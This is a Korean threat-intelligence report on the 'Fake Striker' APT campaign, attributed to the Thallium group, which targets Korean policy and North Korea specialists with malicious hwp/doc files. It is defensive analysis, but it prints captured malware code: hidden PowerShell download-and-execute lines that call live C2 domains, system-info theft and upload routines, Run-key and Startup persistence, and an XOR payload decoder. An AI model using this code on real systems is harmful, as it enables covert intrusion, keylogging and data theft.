[스페셜 리포트] 미국 MS가 고소한 탈륨 그룹, 대한민국 상대로 '페이크 스트라이커' APT 캠페인 위협 고조
저희는 국내 통일분야 기관을 사칭해 수행되는 이른바 '페이크 스트라이커(Fake Striker) 위협 캠페인' 배후가 작년 말 미국 법원에 고소장이 제출된 탈륨 조직과 직간접 연계 가능성이 높다고 판단 중입니다.
이들은 현재도 활발한 사이버 위협활동 모습을 보이고 있으며, 한국내 주요 기관이나 학회 관계자 등으로 위장해 공격을 집중하고 있습니다.
특히 국내에서 많이 이용하는 hwp, doc 등의 문서 파일 내부에 악의적 코드를 삽입한 후, 감염 대상자 별 이메일로 직접 전달하는 수법을 사용하고 있습니다. 따라서 업무상 특별히 보안이 중요하신 분들은 이메일 접근에 각별한 주의가 요구됩니다.
지인 사이라도 평소 자주 연락이 없었거나 사전에 통보 없이 전달받은 문서나 인터넷 URL 링크 주소는 다소 번거롭더라도 반드시 발신자에게 직접 확인 후 열람하는 것이 안전합니다.
참고로 실제 공격자는 특정인의 이메일 접속권한을 무단 해킹해 감시하고 있다가, 발송 취소 기능으로 수신되기 전 이메일을 강제 취소하고, 동일한 이메일 본문에 첨부 파일만 악성으로 바꿔치기 한 후 재 발송한 고도로 발전된 공격도 식별된 바 있습니다.
▶ 탈륨(Thallium) 사이버 위협 그룹 배경
미국 마이크로소프트(MS)사는 지난 2019년 12월 18일 일명 '탈륨(Thallium)' 조직을 상대로 버지니아주 연방법원에 고소장을 제출하고, 12월 30일 관련 내용을 MS 공식 블로그에 공개한 바 있습니다.
탈륨은 주로 "정부부처 공무원과 싱크탱크 연구원, 대학 교직원, 인권 단체와 회원 등을 공격 대상으로 삼았다"고 밝혔습니다.
한편, 국내서도 이와 유사한 형태의 사이버 위협 징후가 꾸준히 포착되고 있는 실정입니다.
2018-02-12 | |
2018-05-28 | |
2018-11-27 | |
2019-01-03 | |
2019-01-07 | |
2019-02-21 | |
2019-04-03 | |
2019-04-17 | |
2019-05-13 | |
2019-05-20 | |
2019-06-27 |
한국에선 <정치·외교·안보·통일·국방 전현직 관계자>를 포함해, 주요기관 자문위원으로 활동하는 교수진과 북한 전문 취재 기자들이 포함되고 있습니다.
거기에 추가로 탈북민, 대북 연구분야 및 북한 인권 단체 종사자 등도 주요 위협 대상자로 관찰되고 있습니다.
▶ 시계열 기반 실제 위협 사례 분석
ESRC에서는 2019년 07월부터 2020년 07월까지 약 1년간의 공격자 흐름을 타임라인으로 관찰하였습니다. 물론 이외에도 다양한 위협사례가 존재하는데, 대표적인 내용들로 기술하고자 합니다.
● a. 2019년 07월 / foxhunter / foxonline123
2019년 07월에는 약 6일 간격으로 동일한 공격자가 특정 수신자를 대상으로 연속 공격 합니다. 초반에는 hwp 문서 기반 취약점 공격을 수행하고, 감염 효과가 없다고 판단 하였는지 며칠 후 doc 문서 기반 매크로 공격을 진행합니다.
[그림 1] 동일한 사용자를 대상으로 연속으로 진행된 스피어 피싱 화면
각각의 문서 파일에는 악성 코드가 포함되어 있으며, C2 서버를 통해 추가 악성 모듈 다운로드 과정을 거칩니다.
hwp 문서 파일의 경우 포스트 스크립트를 이용한 방식이 동일하고, C2 서버에 'tjdrhd22' 문자로 추가 다운로드 명령을 전달하는데, 해당 영문자를 한글 키보드로 변환하면 '성공22'로 표기됩니다.
그리고 doc 문서 파일은 매크로 VBA 함수를 통해 C2 서버로 접속을 시도합니다.
Attribute VB_Name = "NewMacros"
Sub EXFILTRATION()
Selection.Delete Unit:=wdCharacter, Count:=1
Selection.WholeStory
Selection.Font.Size = 14
Selection.Font.TextColor = 10
ActiveDocument.Save
Dim LzuiyIbgz: LzuiyIbgz = ""
LzuiyIbgz = LzuiyIbgz & "cmd.exe /c powershell.exe -windowstyle hidden -encodedCommand "
LzuiyIbgz = LzuiyIbgz & "(BASE64 함수 선언 부분)"
teregdacetm (LzuiyIbgz)
End Sub
Base64 코드로 선언된 함수를 디코딩하면 다음과 같이 파워쉘 기반의 추가 다운로드 파일 명령을 확인할 수 있습니다.
I E X ( N e w - O b j e c t S y s t e m . N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p : / / f o x o n l i n e 1 2 3 . a t w e b p a g e s . c o m / e o d o / 1 . p s 1 ' )
[그림 2] C2 서버에 등록된 파워쉘 명령어 화면
파워쉘 명령과 레지스트리 등록을 통해 운영체제 시작시 악성 명령이 자동 실행되도록 만들고, 추가로 다운로드 되는 파일에 의해 파워쉘 기반 키로깅 기능이 작동됩니다.
hwp 파일과 doc 파일 각각의 명령제어 C2 서버 주소는 조금 다르지만, 'fox' 키워드가 동일합니다. 그리고 파워쉘 경로에 사용된 'eodo' 표기는 여러 공격에서 동일하게 목격됩니다.
HWP | foxhunter.getenjoyment[.]net/home/jpg/download.php?filename=tjdrhd22 |
DOC | foxonline123.atwebpages[.]com/eodo/1.ps1 |
감염된 컴퓨터에서 수집된 시스템 정보가 C2 원격 서버로 전달될 때 대용량 패킷 전송을 위한 multipart 프로토콜을 사용하고, 전송 데이터가 많을 경우 나누어 보낼 수 있는데, 이때 악성파일이 사용한 문자열 값은 다음과 같습니다.
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywhpFxMBe19cSjFnG
● b. 2019년 10월 / sportgame
2019년 10월 말쯤 한국 K대학교 러시아 연구소 소속의 박사가 보낸 것처럼 조작된 스피어 피싱(Spear Phishing) 공격 징후가 포착됩니다.
당시 APT 공격은 마치 한국과 러시아의 외교 발전을 주제로 한 세미나 초대 내용처럼 위장된 악성 hwp 문서파일이 공격에 사용 되었습니다.
hwp 파일은 내부에 포함된 악성 포스트 스크립트와 쉘코드를 통해 32비트 기반의 악성 코드를 은밀하게 실행 시킨 후, 배치파일 명령어를 통해 감염된 컴퓨터의 주요 시스템 정보(systeminfo, tasklist)를 수집해 명령제어(C2) 서버로 전송 합니다.
· C2 : sportgame.mypressonline[.]com (185.176.40.84) |
[그림 3] 악성 파일내 C2 통신 및 정보수집 명령 코드 화면
시스템 정보 전송 이후에 C2 추가 명령에 따라 'jemma002' 인자값을 통해 추가 악성코드가 zyx.dll 파일명으로 추가 설치됩니다.
당시 시점 sportgame.mypressonline[.]com 주소를 사용한 '김민관 부부장 토론문.hwp' 이름의 악성 문서도 보고된 바 되었는데, hwp 문서 파일의 마지막 작성자 명은 주로 중국인 영문 표기법이 사용 되었습니다.
· zhaozhongcheng |
· ZhengQian |
감염된 컴퓨터에서 수집된 시스템 정보가 C2 원격 서버로 전달될 때 사용한 문자열 값은 이전 사례와 동일합니다.
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywhpFxMBe19cSjFnG
동일한 프로토콜 문자열을 사용한 변종 중에는 'KINU 전문가 자문 요청사항(한미동맹과 한중관계).hwp' 이 존재합니다. 그러나 이 악성 문서파일의 최종 C2 서버는 다음과 같이 변경됩니다.
· C2 : clouds.scienceontheweb[.]net (185.176.40.84) |
ESRC는 위협조직이 사용했던 C2 서버 두곳이 'mypressonline[.]com' 도메인과 'scienceontheweb[.]net' 주소로 서로 상이하지만 동일한 호스팅 서비스라는 점을 확인했습니다.
[그림 4] C2 서버 호스팅 서비스 비교 화면
물론, 두개의 주소 이외에도 아래와 같이 다양한 형태의 도메인 이름들이 C2 이름으로 빈번히 악용되고 있으므로, 특정 기관이나 기업 등에서 하기 사이트를 사용하지 않는 경우 사전 차단해 두시는 것도 효과적일 수 있습니다.
mypressonline[.]com |
scienceontheweb[.]net |
atwebpages[.]com |
medianewsonline[.]com |
myartsonline[.]com |
sportsontheweb[.]net |
getenjoyment[.]net |
onlinewebshop[.]net |
mygamesonline[.]org |
● c. 2020년 01월 / tennis-domain
2020년 01월에는 이메일 공격자가 한국 K대학교를 사칭한 것이 아니라 피해 대상인 수신자가 동일 대학교의 관계자로 지정되었습니다. 위협 대상자는 전혀 다른 사람으로 선택되어 있어 단순히 대학에 연관성을 두기는 어렵습니다.
다만, 공격을 받은 대상자가 통일 외교 및 북한학 연구 전문분야에 종사하고 있다는 점은 유사성이 높습니다.
당시 공격자는 2020년 한반도 및 동북아 정세 전망과 대응방향 주제로 특정 포럼 토론집의 발표문 확인 내용으로 위장한 악성 hwp 문서 파일을 유포했습니다.
hwp 문서에 포함된 악성 포스트 스크립트와 쉘코드는 'b. 2019년 10월' 사례와 동일한 패턴을 가지고 있으며, 내부에 인코딩된 악성 모듈의 명령 수행 방식 자체가 대부분 일치하는 구조를 지닙니다.
[그림 5] hwp 문서 파일에 숨겨져 있는 32비트 악성 exe 모듈
해당 악성모듈은 기능적으로 기존과 거의 동일하지만 C2 원격서버 주소가 다음과 같이 변경 되었으며, 추가 다운로드하는 파일의 인자값이 'flower00' 문자로 바뀌었습니다.
· C2 : tennis-domain.atwebpages[.]com/home/jpg/download.php?filename=flower00 |
공격자가 지정한 C2 서버와 정상적으로 통신이 진행되면, 0xFF 값으로 XOR 인코딩된 'flower00.down' 파일이 다운로드되고, 디코딩 과정을 거쳐 zyx.dll 파일명으로 생성됩니다.
추가로 설치된 파일은 VMProtect 프로그램 설정을 해두었고, 마치 인터넷 익스플로러 모듈처럼 보이도록 파일속성 원본명을 'IeRtUtil.dll' 이름으로 사용하는 특징이 있습니다.
유사한 다른 공격에서는 'button(숫자).down', 'Ahnlab~.dll', tjdrhd(숫자).down', goldst(숫자).down', 'welcome(숫자)' 등이 식별된 바 있는데, 여기서 'tjdrhd' 문자는 한글 키보드로 변환하면 '성공'으로 변경됩니다.
최종 페이로드는 한국의 특정 무료 이메일 서비스 계정을 통해 감염 컴퓨터의 추가 정보를 탈취하는데, 이들은 오랜 기간 'flower9801@daum.net' 주소를 사용하고 있습니다.
● d. 2020년 02월 / pingball
다음으로 02월에는 '법인 운영상황 평가표' 내용을 담고 있는 악성 hwp 문서가 보고되었습니다.
1월달 파일과 마찬가지로 동일한 패턴의 포스트 스크립트와 쉘코드를 이용하고 있으며, 고스트 스크립트 엔진의 취약점이 작동하면 다음과 같은 명령제어 서버로 통신을 시도합니다.
· C2 : pingball.mygamesonline[.]org/home/jpg/download.php?filename=flower02 |
공격자는 스포츠 게임과 관련된 키워드를 C2 서버 만드는데 사용하는 공통점을 보이고 있으며, 추가 설치하는 인코딩된 상태의 악성파일 다운로드 인자값을 'flower' 키워드를 사용하는 특징도 있습니다.
● e. 2020년 04월 / warcraftsiii-online
04월에 발견된 사례는 hwp 문서 파일이 아닌 doc 문서 파일 형태의 공격으로 진행되었습니다.
공격자는 한국의 D 대학에서 보낸 것처럼 발신지를 조작 했으며, 한국내 여러 교수들에게 공격된 정황이 포착 되었습니다.
[그림 6] D 대학에서 발송한 것으로 위장한 악성 이메일
공격자는 북한의 미사일 방사포 도발 의도라는 내용처럼 위장한 doc 문서에 악성 매크로 코드를 삽입해 전달하였습니다.
doc 기반의 공격은 2019년 07월에 발견된 바 있지만, 2020년 04월 전후로 다시 발견되기 시작합니다.
아무래도 hwp 악성 파일은 오래 전 취약점을 아직 그대로 사용하다보니 최신 한컴 오피스 제품인 경우 위협에 노출될 가능성이 낮기 때문으로 해석됩니다.
악성 문서 내부에 포함된 VBA 매크로 코드는 변종에 따라 조금씩 다르기도 합니다. 그리고 'tptkddlsjangkspdy' 문자열이 다수 발견되고 있습니다.
[그림 7] 매크로 코드 함수 화면
매크로 함수에 선언된 'tptkddlsjangkspdy' 문자열을 한글 키보드에서 입력해 보면 '세상이너무하네요' 표현의 한글 문장으로 변환이 됩니다. 공격자가 숨겨둔 일종의 암호문 같은 내용입니다.
영어 (English) 문자열 | 한글 (Korean) 문자열 |
tptkddlsjangkspdy | 세상이너무하네요 |
doc 내부에 포함된 매크로 명령에 의해 다음과 같은 C2 서버로 통신을 시도하고, 'warcraft0.ps1' 파워쉘 명령을 호출하게 됩니다.
[그림 8] 매크로 함수로 호출되는 파워쉘 주소
· C2 : warcraftsiii-online.mygamesonline[.]org/Dota/simple/warcraft0.ps1 |
이번에는 워크래프트3 온라인(warcraftsiii-online) 이름의 C2 주소가 사용 되었습니다. 미국 블리자드 엔터테인먼트에서 개발한 실시간 전략 시뮬레이션 게임입니다.
감염된 컴퓨터에서 수집된 시스템 정보가 C2 원격 서버로 전달될 때 사용한 문자열 값은 이전 사례와 역시 동일합니다.
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywhpFxMBe19cSjFnG
04월 말쯤 'warcraftsiii-online 주소가 포함된 흥미로운 다른 변종이 추가 발견되었고, ESRC는 이 변종을 조사하는 과정에서 공격자가 사용한 특별한 흔적을 확인할 수 있었습니다.
공격자는 마치 국립외교원 학술회의 계획안 내용처럼 위장한 악성 문서 파일을 사용했고, C2 하위 주소와 파워쉘 이름 등이 일부 변경되었습니다.
· C2 : warcraftsiii-online.mygamesonline[.]org/unc/yhko2/yhk.ps1 |
또한 'tptkddlsjangkspdy' 문자열도 동일하게 존재합니다.
그런데 악성 문서 파일 내부에 설정된 폰트 테이블에서 기존에 발견된 바 없는 글씨체가 확인되었습니다.
<w:font w:name="바탕">
<w:altName w:val="문체부 훈민정음체"/>
<w:panose1 w:val="02030600000101010101"/>
<w:charset w:val="81"/>
<w:family w:val="auto"/>
<w:pitch w:val="fixed"/>
<w:sig w:usb0="00000000" w:usb1="09060000" w:usb2="00000010" w:usb3="00000000" w:csb0="00080000" w:csb1="00000000"/>
</w:font>
<w:font w:name="함초롬바탕">
<w:panose1 w:val="02030604000101010101"/>
<w:charset w:val="81"/>
<w:family w:val="roman"/>
<w:pitch w:val="variable"/>
<w:sig w:usb0="F7002EFF" w:usb1="19DFFFFF" w:usb2="001BFDD7" w:usb3="00000000" w:csb0="001F01FF" w:csb1="00000000"/>
</w:font>
<w:font w:name="KP CheonRiMaChe">
<w:panose1 w:val="00000609050400000000"/>
<w:charset w:val="81"/>
<w:family w:val="auto"/>
<w:pitch w:val="fixed"/>
<w:sig w:usb0="900002AF" w:usb1="19DFECFB" w:usb2="00000012" w:usb3="00000000" w:csb0="00180001" w:csb1="00000000"/>
</w:font>
</w:fonts>
'KP CheonRiMaChe' 폰트명으로 선언된 것은 이른바 천리마체(千里馬體)로 북한(KP)에서 사용 중인 글꼴 입니다.
악성 doc 문서 파일에 어떤 이유로 천리마체 글꼴이 포함된 것인지 확인이 어렵지만, 누군가 사용중인 MS Office 폰트 설정 자체가 악성 문서에 포함된 것으로 추정됩니다.
● f. 2020년 05월 / dongkuiri
05월 달에는 명령제어(C2) 호스트 주소가 'dongkuiri' 문자열로 설정된 파워쉘 기반의 악성코드 형태가 발견됩니다.
해당 명령어 코드가 작동할 경우 인코딩된 'venus03.down' 파일이 받아지고, 디코딩 과정을 거친 후 키로거(Keylogger) 기능이 작동 됩니다.
· C2 : dongkuiri.atwebpages[.]com/venus03/venus03/venus03.ps1 |
그런데 'dongkuiri' 도메인이 쓰인 경우는 이미 2019년 08월경 '평화경제 설명 자료' 제목을 담은 악성 HWP 문서가 보고된 바 있습니다.
당시 보고된 악성 도메인 주소는 동일하지만, 하위 주소가 상이하고 파일명 인자값에 'tjdrhd16' 값이 사용됩니다.
· C2 : dongkuiri.atwebpages[.]com/home/jpg/post.php?filename=tjdrhd16 |
여기서 사용된 'tjdrhd16' 문자열을 한글 자판으로 변환하면 '성공16' 내용으로 나타납니다.
이는 2019년 07월에 보고된 'foxhunter.getenjoyment[.]net' 사례의 'filename=tjdrhd22' 형식과 거의 일치 합니다.
● g. 2020년 06월 / tennis2020pingball
2020년 06월 부터는 마치 전문가 정책 포럼 초청장 문서처럼 위장한 공격이 연이어 발생하게 되는데, 31회부터 33회까지 변경 되면서 공격에 이용됩니다.
[그림 9] 전문가 정책 포럼 사회자 초청장으로 위장해 공격한 이메일 화면
DOC 워드 문서 파일을 이용한 공격이 자주 등장하고, 매크로 기능 방식은 조금씩 변형이 되고 있지만 파워쉘 명령을 이용하는 방식은 연속성을 유지하고 있습니다.
해당 악성 문서 내부의 매크로 함수 내부에도 'tptkddlsjangkspdy' (세상이너무하네요) 표현이 동일하게 존재합니다.
이어서 매크로 함수로 호출되는 파일 링크가 파워쉘 형태로 구성된 점이 기존 사례와 동일하고, 임시폴더(Temp) 경로에 'qwer.txt' 파일을 생성하고 다음과 같은 명령을 수행 합니다.
IEX (New-Object System.Net.WebClient).DownloadString('http://tennis2020pingball.onlinewebshop[.]net/a/d/d.ps1')
[그림 10] 매크로 함수로 호출되는 파워쉘 주소
이번에 사용된 명령제어(C2) 서버 주소도 운동이나 게임과 관련된 키워드가 사용 되었습니다.
· C2 : tennis2020pingball.onlinewebshop.net/a/d/d.ps1 |
'd.ps1' 파워쉘 명령어가 실행되면, %APPDATA% 경로에 'Alzip' 폴더를 생성하고 그 하위에 'Alzip.hwp' 파일을 만든 후 프로그램 폴더 리스트와 네트워크 정보, 실행 중인 프로세스 리스트 등의 시스템 정보를 수집해 C2 서버로 은밀히 유출을 시도 합니다.
파일 확장자가 hwp 문서 형태지만 단순 txt 기반의 로그로 저장이 됩니다.
function Get_info($logpath)
{
Get-ChildItem ([Environment]::GetFolderPath("Recent")) >> $logpath
dir $env:ProgramFiles >> $logpath
dir "C:\Program Files (x86)" >> $logpath
systeminfo >> $logpath
tasklist >> $logpath
}
[그림 11] C2 서버에 올려져 있는 파워쉘 명령어 화면
그리고 초기 공격에 없던 기능이 추가되었는데, 특정 키 값으로 암호화된 'd.down' 파일을 다운로드 후 복호화를 거쳐 실행 됩니다.
function decode($encstr)
{
$key = [byte[]](디코딩 키값)
$len = $encstr.Length
$j = 0
$i = 0
$comletter = ""
while($i -lt $len)
{
$j = $j % 160
$asciidec = $encstr[$i] -bxor $key[$j]
$dec = [char]$asciidec
$comletter += $dec
$j++
$i++
}
추가로 다운로드 된 파일은 아래와 같은 특정 키 값으로 암호화되어 있습니다. 10진수를 그대로 사용해도 되지만, 편의상 XOR 16진수 연산을 위해 먼저 10진수 역 배열 후 16진수로 변환합니다.
[그림 12] 암호화 키 변환 과정
16진수로 변환된 키를 사용해 'd.down' 파일을 대상으로 XOR 로직 연산을 거치면 파워쉘 기반의 키로거 명령이 나타납니다.
[그림 13] 암호화 전(좌), 후(우)의 비교 화면
키로거 함수 하단에는 다음과 같이 'malnke' 명령어가 작성되어 있는데, 'Alzip.lnk' 이름의 바로가기 파일을 시작프로그램(Startup) 경로에 생성합니다.
function malnke
{
$shell = New-Object -ComObject WScript.Shell
$makepath = "\Microsoft\Windows\Start Menu\Programs\Startup\"
$desktop = $env:APPDATA + $makepath
$shortcut = $shell.CreateShortcut("$desktop\Alzip.lnk")
$shortcut.TargetPath = "powershell.exe"
$shortcut.Arguments = "-WindowStyle Hidden -command &{[string]`$a={(New-Object Net.WebClient).Dokarysuntring('http://tennis2020pingball.onlinewebshop[.]net/a/d/d.ps1')};`$b
<생략>
바로가기(.lnk) 파일의 대상 명령어에 파워쉘 명령을 삽입해 윈도 시스템이 시작할 때마다 자동으로 명령을 수행하도록 만듭니다.
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -command &{[string]$a={(New-Object Net.WebClient).Dokarysuntring('http://tennis2020pingball.onlinewebshop[.]net/a/d/d.ps1')};$b
<생략>
이외에도 다음과 같은 변종들이 06~07월 사이 다수 보고 되었습니다.
파일명 | C2 주소 |
북한 핵전쟁 억제력 강화 조치와 한국의 대응.doc | attachchosun.atwebpages.com/leess1982/leess1982.ps1 |
이상근박사논문요약과 프로필.doc | pootball.getenjoyment.net/ad/ei.txt |
북한의 회색지대 전략과 대응방안.hwp | lovelovelove.atwebpages.com/home/jpg/download.php?filename=lover01 |
제27회 남북경협포럼 개최계획(안내).doc | mali-eai-oig.onlinewebshop.net/j/e/e.ps1 |
제31회 전문가 정책포럼 토론자 초청장.doc | pootbal2020tennis.mypressonline.com/flower01/flower07/flower07.ps1 |
제32회 전문가 정책포럼 사회자 초청장.doc | pootball.medianewsonline.com/ro/ki.txt |
새로운 시기 한반도 정세의 변화와 중국의 대응.doc | bascetball.atwebpages.com/ra/qt.txt |
● h. 2020년 07월 / pingguo5
ESRC는 지속적인 변종 공격 징후를 포착 하였는데, 07월 21일 제작된 악성 문서 파일명(제33회 전문가 정책포럼 사회자 초청장.doc) 역시 기존 흐름과 비슷한 이름으로 공격이 진행되었습니다.
악성 DOC 문서가 실행되면 MS 오피스 업데이트를 위해 [콘텐츠 사용] 버튼 클릭을 유도하게 되는데, 만약 이용자가 클릭을 할 경우 악성 매크로 기능이 활성화되어 추가 악성 명령이 실행 됩니다.
마치 오피스 업데이트로 위장한 문장은 영어로 표기되어 있지만, 악성 문서는 한국어 기반의 환경에서 제작된 것을 알 수 있습니다.
[그림 14] 악성 워드 문서가 실행되고, 매크로 실행을 유도하는 장면
만약 이용자가 해당 문구에 현혹되어 [콘텐츠 사용] 버튼을 클릭할 경우 악성 VBA 매크로 명령이 작동되어 악의적인 기능이 백그라운드에서 조용히 수행됩니다.
그리고 화면에는 정상 내용을 보여주어 이용자로 하여금 컴퓨터 위협에 노출된 것을 인지하기 어렵도록 만듭니다.
[그림 15-1] 악성 매크로 함수가 실행된 후 보여지는 정상 화면
VBA 매크로 함수는 분석 회피 목적으로 단순 스트링 난독화 방식이 적용되어 있는데, '$+D' 문자를 제거하면 파워쉘 명령어와 C2 주소가 나타납니다.
[그림 15-2] VBA 매크로 함수 디버그 화면
악성 문서는 동일한 파일명을 가진 2개의 변종이 발견되었는데, C2 주소만 살짝 다른 형태 입니다. 그리고 문서의 최종 수정자 이름은 'John' 계정이 사용된 것이 특징입니다.
· C2 : pingguo5.atwebpages.com/nu/mo.txt |
· C2 : pingguo5.atwebpages.com/vu/ph.txt |
여기서 사용된 C2 영문자 'pingguo5' 부분을 구글 번역기로 변환하면 '애플5' 표현으로 번역되는데, 한글로 과일 '사과'를 의미 합니다. 이처럼 공격자는 간혹 중국어 표현을 구사 합니다.
[그림 16] C2 서버 도메인 일부 주소 구글 번역 결과
'mo.txt', 'ph.txt' 파일은 기존과 마찬가지로 파워쉘 명령어로 구성되어 있고, $LOG_FILENAME 선언으로 사용되던 'Alzip.hwp' 파일명이 'Dota.hwp' 이름으로 변경되었습니다.
하지만 $RegValueName 선언으로 자주 사용되던 'Alzipupdate' 이름은 이번에도 동일하게 사용 되었습니다.
더불어 대용량 패킷 전송을 위한 multipart 프로토콜 문자열 값 역시 기존과 정확히 일치합니다.
$boundary = "----WebKitFormBoundarywhpFxMBe19cSjFnG"
$SERVER_ADDR = "http://pingguo5.atwebpages[.]com/nu/"
$UP_URI = "post.php"
$upName = "mo"
$LocalID = "mo"
$LOG_FILENAME = "Dota.hwp"
$LOG_FILEPATH = "\Dota\"
$TIME_VALUE = 1000*60*30
$RegValueName = "Alzipupdate"
$RegKey = "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
$regValue = "cmd.exe / c powershell.exe -windowstyle hidden IEX (New-Object System.Net.WebClient).DownloadString('http://pingguo5.atwebpages[.]com/nu/mo.txt')"
function decode($encstr)
{
$key = [byte[]](디코딩 키값)
$len = $encstr.Length
$j = 0
$i = 0
$comletter = ""
while($i -lt $len)
{
$j = $j % 160
$asciidec = $encstr[$i] -bxor $key[$j]
$dec = [char]$asciidec
$comletter += $dec
$j++
$i++
}
<중간 생략>
}
Start-Sleep -Milliseconds 1
$boundary = "----WebKitFormBoundarywhpFxMBe19cSjFnG"
$ContentType = 'multipart/form-data; boundary=' + $boundary
$bodyLines = (
"--$boundary",
"Content-Disposition: form-data; name=`"MAX_FILE_SIZE`"$LF",
"10000000",
"--$boundary",
"Content-Disposition: form-data; name=`"userfile`"; filename=`"$upName`"",
"Content-Type: application/octet-stream$LF",
$pUploadData,
"--$boundary"
) -join $LF
<중간 생략>
function Download
{
$downname = $LocalID + ".down"
$delphppath = $SERVER_ADDR + "del.php"
$downpsurl = $SERVER_ADDR + $downname
$codestring = (New-Object System.Net.WebClient).DownloadString($downpsurl)
$comletter = decode $codestring
$decode = $executioncontext.InvokeCommand.NewScriptBlock($comletter)
$RunningJob = Get-Job -State Running
if($RunningJob.count -lt 3)
{
<중간 생략>
}
function Get_info($logpath)
{
Get-ChildItem ([Environment]::GetFolderPath("Recent")) >> $logpath
dir $env:ProgramFiles >> $logpath
dir "C:\Program Files (x86)" >> $logpath
systeminfo >> $logpath
tasklist >> $logpath
}
<중간 생략>
'mo.txt', 'ph.txt' 파일은 각 C2 서버를 통해 인코딩된 'mo.down', 'ph.down' 파일을 받아 디코딩 과정을 거치며, 파워쉘 기반의 키로거 기능으로 작동됩니다.
그렇게 하여 감염된 로컬 컴퓨터에 은밀히 잠복하고, 일종의 파일리스(Fileless) 기반으로 명령을 수행하게 됩니다. 또한, 공격자의 의도와 목적에 따라 추가 위협에 노출될 수 있습니다.
ESRC는 이런 와중에 새로운 악성파일 2종을 발견하였습니다.
해당 악성파일의 아이콘은 마치 hwp 문서 파일처럼 위장하고 있지만 자세히 보면 2중 확장자로 구성되어 있습니다.
- [남북연합 구상과 추진방안] 워크숍 계획.hwp (다수의 공백 포함) .exe
- 0730 워크숍_2회의 발표문_이상신_오창룡.hwp (다수의 공백 포함) .exe
[그림 17] hwp 파일로 위장한 2중 확장자의 exe 악성파일 화면
각각의 악성 파일은 거의 동일한 구조로 만들어져 있는데 'JUYFON' 리소스에 정상 hwp 문서 파일을 가지고 있으며, 실행될 경우 C2 서버로 접속해 감염된 로컬 시스템의 정보를 'asd.docx' 파일명으로 수집 저정해 유출하고, 추가로 'flower03' 악성 파일 설치를 시도합니다.
C2 주소는 2019년 07월 때 doc 악성 문서 사례와 동일한 도메인 'foxonline123.atwebpages[.]com' 도메인이 그대로 재활용 되었습니다.
· C2 : foxonline123.atwebpages[.]com/home/jpg/post.php |
· C2 : foxonline123.atwebpages[.]com/home/jpg/download.php?filename=flower03 |
여기서 흥미로운 점은 '[남북연합 구상과 추진방안] 워크숍 계획.hwp (다수의 공백 포함) .exe' 악성 파일이 실행될 때 생성되는 정상 hwp 문서 파일의 마지막 수정자명이 'zhaozhongcheng' 계정이 쓰였다는 점입니다.
해당 'zhaozhongcheng' 계정은 2019년 10월에도 발견된 바 있습니다.
그리고 'Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywhpFxMBe19cSjFnG' 문자열도 동일하게 사용되었습니다.
v7 = 0;
v28 = 0;
memset(&v29, 0, 0x3E7u);
qmemcpy(&v18, "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywhpFxMBe19cSjFnG", 0x54u);
v11 = 'eccA';
v19 = 0;
v20 = 0;
v21 = 0;
v22 = 0;
v14 = ':ega';
v12 = 'L-tp';
v13 = 'ugna';
v15 = '-ne ';
v16 = 'su';
memset(&v17, 0, 0x4Cu);
qmemcpy(&v23, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; .NET CLR 1.1.4322)", 0x54u);
v24 = 0;
v25 = 0;
v26 = 0;
v27 = 0;
v10 = 0;
v9 = "*/*";
wsprintfA(
&v28,
"Host: %s\r\nReferer: http://%s%s\r\n%s\r\n%s",
"foxonline123.atwebpages.com",
"foxonline123.atwebpages.com",
"home/jpg/post.php",
&v18,
&v11);
v2 = dword_4183A8(&v23, 0, 0, 0, 0);
v3 = v2;
ESRC는 해당 APT 공격조직이 2019년 07월에 사용한 C2 서버를 1년이 지난 2020년 07월에도 동일하게 사용하고 있다는 점에 다소 놀랐습니다.
그리고 악성 hwp, doc 문서와 함께 2중 확장자로 눈속임 기법을 활용한 exe 실행 파일 공격도 복합적으로 사용하는 점에 주목하고 있습니다.
따라서 이용자들은 윈도 운영체제의 확장자 보기를 통해 아이콘이 아닌 확장자로 파일의 종류를 파악하고 실행하는 습관이 필요해 보입니다.
▶ 탈륨 공격의 현주소
지금까지 기술한 부분은 지난 2019년 07월부터 약 1년 간 수행된 대표적인 한국내 APT 공격 중 일부라 할 수 있습니다.
국가차원의 훈련과 교육을 받아 활동하는 사이버 위협조직들은 갈수록 활동반경이 넓어지고 있고, 공격 기술도 발전을 거듭하고 있는 상황입니다.
특히, 한국의 정치·외교·안보·통일·국방 전현직 관계자와 대북분야 활동가들이 주요 타깃이 되고 있는 현실을 부정하기 어렵습니다.
ESRC는 이들이 수행 중인 '페이크 스트라이커' APT 캠페인을 보다 상세히 관찰 연구 중이며, 일반 사이버 범죄 수위를 넘어 국가간 사이버 안보차원의 수준으로 그 중요성을 무겁게 인식하고 있습니다.
특정 정부가 연계된 APT 조직들에 대한 위협이 어느때보다 고조되는 지금, 보다 체계화된 분석 및 대응이 요구되며, 민관 위협 인텔리전스 차원의 협력과 투자가 중요한 시점입니다.
유사 위협에 사용된 도구와 침해지표(IoC) 등을 '쓰렛 인사이드(Threat Inside)' 리포트를 통해 별도 제공할 예정입니다.